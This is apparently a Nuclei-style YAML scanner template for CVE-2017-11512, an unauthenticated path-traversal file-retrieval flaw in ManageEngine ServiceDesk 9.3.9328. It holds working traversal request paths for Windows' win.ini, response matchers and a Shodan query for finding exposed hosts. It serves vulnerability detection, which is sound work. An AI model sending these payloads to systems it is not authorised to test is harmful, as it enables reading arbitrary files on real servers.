id: CVE-2017-11512 info: name: ManageEngine ServiceDesk 9.3.9328 - Arbitrary File Retrieval author: 0x_Akoko severity: high description: | ManageEngine ServiceDesk 9.3.9328 is vulnerable to an arbitrary file retrieval due to improper restrictions of the pathname used in the name parameter for the download-snapshot path. An unauthenticated remote attacker can use this vulnerability to download arbitrary files. remediation: | Upgrade to a patched version of ManageEngine ServiceDesk 9.3.9328 or apply the necessary security patches. reference: - https://exploit.kitploit.com/2017/11/manageengine-servicedesk-cve-2017-11512.html - https://www.tenable.com/security/research/tra-2017-31 - https://nvd.nist.gov/vuln/detail/CVE-2017-11512 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2017-11512 cwe-id: CWE-22 epss-score: 0.97175 epss-percentile: 0.99739 cpe: cpe:2.3:a:manageengine:servicedesk:9.3.9328:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: manageengine product: servicedesk shodan-query: http.title:"ManageEngine" tags: cve,cve2017,manageengine,lfr,unauth,tenable http: - method: GET path: - '{{BaseURL}}/fosagent/repl/download-file?basedir=4&filepath=..\..\Windows\win.ini' - '{{BaseURL}}/fosagent/repl/download-snapshot?name=..\..\..\..\..\..\..\Windows\win.ini' stop-at-first-match: true matchers: - type: word part: body words: - "bit app support" - "fonts" - "extensions" condition: and